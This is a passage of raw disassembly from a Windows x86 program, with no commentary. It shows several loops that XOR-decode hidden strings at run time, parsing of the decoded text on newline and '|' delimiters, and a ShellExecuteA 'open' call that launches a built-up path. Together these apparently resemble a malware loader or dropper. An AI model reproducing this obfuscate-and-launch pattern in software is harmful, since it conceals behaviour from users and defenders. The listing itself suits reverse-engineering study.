ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
mov edx, dword [ebp - 0xe4]
mov byte [ebp - 4], 0x2d
cmp edx, 0x10
jb 0x4108ce
mov ecx, dword [ebp - 0xf8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4108c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
lea ecx, [ebp - 0x438]
call fcn.004011e0
mov edx, dword [ebp - 0x58]
mov byte [ebp - 4], 0x2f
cmp edx, 0x10
jb 0x410911
mov ecx, dword [ebp - 0x6c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410907
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0xa8]
mov byte [ebp - 4], 0x30
cmp edx, 0x10
jb 0x41094f
mov ecx, dword [ebp - 0xbc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410945
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d00
push edx
push ecx
call fcn.0041414e
add esp, 8
cmp dword [ebp - 0x110], 0x10
lea eax, [ebp - 0x124]
push dword [ebp - 0x114]
cmovae eax, dword [ebp - 0x124]
push eax
push 0x444448
call fcn.0040c810
push eax
call fcn.0040cc30
add esp, 0x10
nop dword [eax]
movups xmm0, xmmword [str._BCH]
mov ax, word [0x433f04]
xor edx, edx
cmp dword [0x444660], 2
movups xmmword [ebp - 0x23a], xmm0
mov word [ebp - 0x21a], ax
movups xmm0, xmmword [0x433ef4]
mov al, byte [0x433f06]
mov byte [ebp - 0x218], al
movups xmmword [ebp - 0x22a], xmm0
mov dword [ebp - 0x28], edx
jl 0x410b10
movaps xmm0, xmmword [0x434000]
mov eax, 4
movaps xmm4, xmmword [0x433330]
movaps xmm3, xmmword [0x4336b0]
movaps xmm6, xmmword [str.2222]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1c0], xmm0
mov ecx, dword [ebp - 0x1c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x23a]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x23a], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x236]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x236], xmm1
add edx, 8
cmp edx, 0x20
jl 0x410a01
mov dword [ebp - 0x28], edx
cmp edx, 0x23
jge 0x410b41
nop dword [eax]
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x28]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x23a], cl
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 0x23
jl 0x410b10
lea ecx, [ebp - 0x23a]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1d0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b70
sub ecx, edx
lea eax, [ebp - 0x23a]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00401fa0
lea eax, [ebp - 0x1c8]
mov byte [ebp - 4], 0x31
lea esi, [ebp - 0x1e0]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xa4], esi
cmp esi, eax
je 0x412cc7
cmp dword [esi + 0x14], 0x10
mov edi, dword [esi + 0x10]
mov dword [ebp - 0x34], edi
jb 0x410bbb
mov esi, dword [esi]
mov eax, SysReAllocString
cmp edi, 0x10
jae 0x410bdc
movups xmm0, xmmword [esi]
mov esi, dword [ebp - 0x34]
mov ecx, 0xf
mov dword [ebp - 0x28], ecx
movups xmmword [ebp - 0xf8], xmm0
jmp 0x410c1a
mov ecx, edi
or ecx, 0xf
cmp ecx, eax
cmova ecx, eax
mov dword [ebp - 0x28], ecx
lea eax, [ecx + 1]
push eax
lea ecx, [ebp - 0xf8]
call fcn.00401f40
lea ecx, [edi + 1]
mov dword [ebp - 0xf8], eax
push ecx
push esi
push eax
call fcn.00415600
mov esi, dword [ebp - 0x34]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
mov eax, SysReAllocString
mov dword [ebp - 0x34], esi
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], esi
mov byte [ebp - 4], 0x33
nop word [eax + eax]
cmp ecx, 0x10
mov dword [ebp - 0x6c], 0
lea edi, [ebp - 0xf8]
mov dword [ebp - 0x5c], 0
cmovae edi, dword [ebp - 0xf8]
mov dword [ebp - 0x58], 0
cmp esi, 0x10
jae 0x410c6d
movups xmm0, xmmword [edi]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], 0xf
movups xmmword [ebp - 0x6c], xmm0
jmp 0x410ca2
or esi, 0xf
lea ecx, [ebp - 0x6c]
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x6c], eax
push ecx
push edi
push eax
call fcn.00415600
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov dword [ebp - 0x58], esi
mov esi, eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x110], 0x10
lea eax, [ebp - 0x124]
push dword [ebp - 0x114]
cmovae eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 0x34
call fcn.00403e50
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x38], 0x10
lea eax, [ebp - 0x4c]
push dword [ebp - 0x3c]
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x444448
mov byte [ebp - 4], 0x35
call fcn.0040c810
add esp, 0xc
push eax
call fcn.0040cc30
mov edx, dword [ebp - 0x38]
add esp, 4
mov byte [ebp - 4], 0x34
cmp edx, 0x10
jb 0x410d61
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410d57
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d05
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0x33
cmp edx, 0x10
jb 0x410dab
mov ecx, dword [ebp - 0x6c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410da1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d05
push edx
push ecx
call fcn.0041414e
add esp, 8
cmp dword [ebp - 0x28], 0x10
lea edi, [ebp - 0xf8]
mov dword [ebp - 0x6c], 0
cmovae edi, dword [ebp - 0xf8]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
cmp esi, 0x10
jae 0x410de9
movups xmm0, xmmword [edi]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], 0xf
movups xmmword [ebp - 0x6c], xmm0
jmp 0x410e21
or esi, 0xf
lea ecx, [ebp - 0x6c]
cmp esi, 0x7fffffff
mov eax, SysReAllocString
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x6c], eax
push ecx
push edi
push eax
call fcn.00415600
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], esi
cmp dword [ebp - 0x110], 0x10
lea eax, [ebp - 0x124]
push dword [ebp - 0x114]
cmovae eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 0x36
call fcn.00403e50
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x38], 0x10
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x37
cmovae eax, dword [ebp - 0x4c]
push eax
lea eax, [ebp - 0xe0]
push eax
call fcn.004061d0
add esp, 8
mov edx, dword [ebp - 0x38]
mov byte [ebp - 4], 0x39
cmp edx, 0x10
jb 0x410ed6
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410ecc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d0a
push edx
push ecx
call fcn.0041414e
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov edx, dword [ebp - 0x58]
mov byte [ebp - 4], 0x3a
cmp edx, 0x10
jb 0x410f20
mov ecx, dword [ebp - 0x6c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410f16
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d0a
push edx
push ecx
call fcn.0041414e
add esp, 8
mov ax, word [0x433f10]
movq xmm0, qword [0x433f08]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
movq qword [ebp - 0x262], xmm0
mov word [ebp - 0x25a], ax
test ah, ah
je 0x410f8a
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax + eax]
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x262], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0xa
jl 0x410f60
lea ecx, [ebp - 0x262]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xac], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa8], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410fb1
sub ecx, edx
lea eax, [ebp - 0x262]
push ecx
push eax
lea ecx, [ebp - 0xbc]
call fcn.00401fa0
cmp dword [ebp - 0xa8], 0x10
lea ecx, [ebp - 0xbc]
push dword [ebp - 0xac]
mov esi, dword [ebp - 0xbc]
lea eax, [ebp - 0xe0]
mov edi, dword [ebp - 0xcc]
cmovae ecx, esi
push ecx
push 0
push dword [ebp - 0xd0]
cmp edi, 0x10
cmovae eax, dword [ebp - 0xe0]
push eax
call fcn.0040cb00
mov dword [ebp - 0x50], eax
add esp, 0x14
mov eax, dword [ebp - 0xa8]
cmp eax, 0x10
jb 0x411050
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x411040
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d35
push ecx
push esi
call fcn.0041414e
mov edi, dword [ebp - 0xcc]
add esp, 8
cmp dword [ebp - 0x50], 0xffffffff
jne 0x412d0f
push dword [ebp - 0xd0]
cmp edi, 0x10
lea eax, [ebp - 0xe0]
cmovae eax, dword [ebp - 0xe0]
push eax
push 0x444448
call fcn.0040c810
add esp, 0xc
push 0x433fa0
push eax
call fcn.0040c2e0
add esp, 8
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
cmp dword [ebp - 0xcc], 0x10
lea eax, [ebp - 0xe0]
mov edi, dword [ebp - 0xd0]
cmovae eax, dword [ebp - 0xe0]
mov byte [ebp - 4], 0x3b
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x50], eax
test edi, edi
je 0x4110ed
push edi
push 0xa
push eax
call fcn.00415550
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4110ed
sub esi, dword [ebp - 0x50]
jmp 0x4110f0
or esi, 0xffffffff
cmp esi, 0xffffffff
je 0x4111f4
mov ecx, dword [ebp - 0x24]
mov edx, esi
sub edx, ecx
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp edi, ecx
jb 0x412d30
sub edi, ecx
lea eax, [ebp - 0xe0]
cmp edi, edx
cmovb edx, edi
cmp dword [ebp - 0xcc], 0x10
push edx
cmovae eax, dword [ebp - 0xe0]
add eax, ecx
lea ecx, [ebp - 0x4c]
push eax
call fcn.00401fa0
mov edi, dword [ebp - 0xc4]
lea eax, [ebp - 0x4c]
push eax
mov byte [ebp - 4], 0x3c
push edi
cmp edi, dword [ebp - 0xc0]
je 0x411179
lea eax, [ebp - 0xc8]
push eax
call fcn.0040cbf0
add esp, 0xc
add edi, 0x18
mov dword [ebp - 0xc4], edi
jmp 0x411184
lea ecx, [ebp - 0xc8]
call fcn.00405960
mov edx, dword [ebp - 0x38]
mov byte [ebp - 4], 0x3b
cmp edx, 0x10
jb 0x4111bc
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4111b2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d35
push edx
push ecx
call fcn.0041414e
add esp, 8
cmp dword [ebp - 0xcc], 0x10
lea ecx, [esi + 1]
mov edi, dword [ebp - 0xd0]
lea edx, [ebp - 0xe0]
cmovae edx, dword [ebp - 0xe0]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x50], edx
cmp ecx, edi
jae 0x4110ed
mov eax, edi
sub eax, ecx
push eax
lea eax, [edx + ecx]
jmp 0x4110d7
mov esi, dword [ebp - 0xc8]
mov dword [ebp - 0x50], esi
cmp esi, dword [ebp - 0xc4]
je 0x412c1c
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x411213
mov eax, dword [esi]
push 2
push 0x433fa4
push 0
push dword [esi + 0x10]
push eax
call fcn.0040cb00
add esp, 0x14
cmp eax, 0xffffffff
jne 0x412c1c
push 0x7c
lea eax, [ebp - 0x2c4]
push esi
push eax
call fcn.0040f4b0
add esp, 0xc
mov eax, dword [ebp - 0x2c4]
mov ecx, eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
cmp dword [eax + 0x14], 0x10
mov edi, dword [eax + 0x10]
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0x24], eax
jb 0x411275
mov ecx, dword [eax]
mov dword [ebp - 0x24], ecx
cmp edi, 0x10
jae 0x411288
movups xmm0, xmmword [ecx]
mov esi, 0xf
movups xmmword [ebp - 0x6c], xmm0
jmp 0x4112c0
mov esi, edi
lea ecx, [ebp - 0x6c]
or esi, 0xf
mov eax, SysReAllocString
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
lea ecx, [edi + 1]
mov dword [ebp - 0x6c], eax
push ecx
push dword [ebp - 0x24]
push eax
call fcn.00415600
mov eax, dword [ebp - 0x2c4]
add esp, 0xc
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x5c], edi
add eax, 0x18
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
mov byte [ebp - 4], 0x3e
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x70], ecx
jb 0x4112ff
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
cmp ecx, 0x10
jae 0x411320
movups xmm0, xmmword [eax]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], 0xf
movups xmmword [ebp - 0xbc], xmm0
jmp 0x41136d
mov esi, ecx
mov eax, SysReAllocString
or esi, 0xf
lea ecx, [ebp - 0xbc]
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov edi, dword [ebp - 0x70]
mov dword [ebp - 0xbc], eax
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x24]
push eax
call fcn.00415600
mov dword [ebp - 0xac], edi
add esp, 0xc
mov edi, dword [ebp - 0x5c]
mov dword [ebp - 0xa8], esi
mov esi, dword [ebp - 0x58]
cmp esi, 0x10
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push edi
push eax
push 0x444448
call fcn.0040c810
add esp, 0xc
push eax
call fcn.0040cc30
add esp, 4
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
cmovae eax, dword [ebp - 0xbc]
push dword [ebp - 0xac]
push eax
push 0x444448
call fcn.0040c810
add esp, 0xc
push eax
call fcn.0040cc30
mov ecx, dword [str.Q_DSB_v_fkhKUNS_5]
add esp, 4
cmp byte [0x433f1b], 0
mov esi, dword [0x433f18]
mov dword [ebp - 0x163], ecx
mov dword [ebp - 0x15f], esi
je 0x41152a
xor edx, edx
cmp dword [0x444660], 2
mov dword [ebp - 0x24], edx
jl 0x411500
movaps xmm2, xmmword [0x433330]
mov eax, 4
movaps xmm4, xmmword [0x4336b0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [0x434000]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x433340]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x163], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0x15f], xmm1
jmp 0x41152a
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x163], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 8
jl 0x411500
lea ecx, [ebp - 0x163]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x38], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411548
sub ecx, edx
lea eax, [ebp - 0x163]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00401fa0
mov edi, dword [ebp - 0x38]
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x3c]
mov esi, dword [ebp - 0x4c]
lea eax, [ebp - 0xbc]
cmp edi, 0x10
cmovae ecx, esi
cmp dword [ebp - 0xa8], 0x10
push ecx
cmovae eax, dword [ebp - 0xbc]
push 0
push dword [ebp - 0xac]
push eax
call fcn.0040cb00
add esp, 0x14
mov dword [ebp - 0x70], eax
cmp edi, 0x10
jb 0x4115cf
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4115c2
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d53
push ecx
push esi
call fcn.0041414e
mov eax, dword [ebp - 0x70]
add esp, 8
cmp eax, 0xffffffff
je 0x411cbf
mov eax, dword [0x433f2c]
xor edx, edx
mov dword [ebp - 0xfd], eax
mov al, byte [0x433f30]
mov byte [ebp - 0xf9], al
mov dword [ebp - 0x24], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0xfd], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 5
jl 0x4115f3
lea ecx, [ebp - 0xfd]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411650
sub ecx, edx
lea eax, [ebp - 0xfd]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00401fa0
lea eax, [ebp - 0x27c]
mov byte [ebp - 4], 0x40
push 0x18
push eax
call fcn.0040b920
add esp, 8
mov esi, eax
movups xmm0, xmmword [0x433f1c]
mov byte [ebp - 4], 0x41
movups xmmword [ebp - 0x80], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x411817
xor edx, edx
cmp dword [0x444660], 2
mov dword [ebp - 0x24], edx
jl 0x4117f0
movaps xmm0, xmmword [0x434000]
mov eax, 4
movaps xmm4, xmmword [0x433330]
xor ecx, ecx
movaps xmm3, xmmword [0x4336b0]
movaps xmm6, xmmword [str.2222]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x1c0], xmm0
mov edx, dword [ebp - 0x1c0]
movd xmm7, eax
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x80]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x80], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x433360]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x7c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x7c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x4116f2
jmp 0x411817
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x80], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x10
jl 0x4117f0
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x144], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x140], 0xf
mov byte [ebp - 0x154], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411842
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x154]
call fcn.00401fa0
push esi
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 0x42
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1f8]
call fcn.00407200
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 0x43
push eax
lea eax, [ebp - 0x1f8]
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x198]
call fcn.00407200
lea ecx, [ebp - 0x1f8]
call fcn.004011e0
mov edx, dword [ebp - 0x140]
mov byte [ebp - 4], 0x46
cmp edx, 0x10
jb 0x4118de
mov ecx, dword [ebp - 0x154]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4118d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d3a
push edx
push ecx
call fcn.0041414e
add esp, 8
lea ecx, [ebp - 0x27c]
call fcn.004011e0
mov edx, dword [ebp - 0x8c]
mov byte [ebp - 4], 0x48
cmp edx, 0x10
jb 0x411927
mov ecx, dword [ebp - 0xa0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41191d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412d3a
push edx
push ecx
call fcn.0041414e
add esp, 8
mov edi, dword [ebp - 0x2c4]
add edi, 0x30
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
cmp dword [edi + 0x14], 0x10
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x24], eax
jb 0x411953
mov edi, dword [edi]
cmp eax, 0x10
jae 0x411968
movups xmm0, xmmword [edi]
mov dword [ebp - 0x38], 0xf
movups xmmword [ebp - 0x4c], xmm0
jmp 0x41199f
mov esi, eax
lea ecx, [ebp - 0x4c]
or esi, 0xf
mov eax, SysReAllocString
cmp esi, 0x7fffffff
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.00401f40
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x4c], eax
push ecx
push edi
push eax
call fcn.00415600
mov eax, dword [ebp - 0x24]
add esp, 0xc
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0x49
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.00403620
add esp, 8
lea eax, [ebp - 0x198]
cmp dword [ebp - 0x184], 0x10
cmovae eax, dword [ebp - 0x198]
push 1
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [0x433f34]
mov dword [ebp - 0x171], eax
mov ax, word [0x433f38]
mov word [ebp - 0x16d], ax
test ah, ah
je 0x411a2c
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x24]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x171], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 6
jl 0x411a02
lea ecx, [ebp - 0x171]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
nop word [eax + eax]
mov al, byte [ecx]
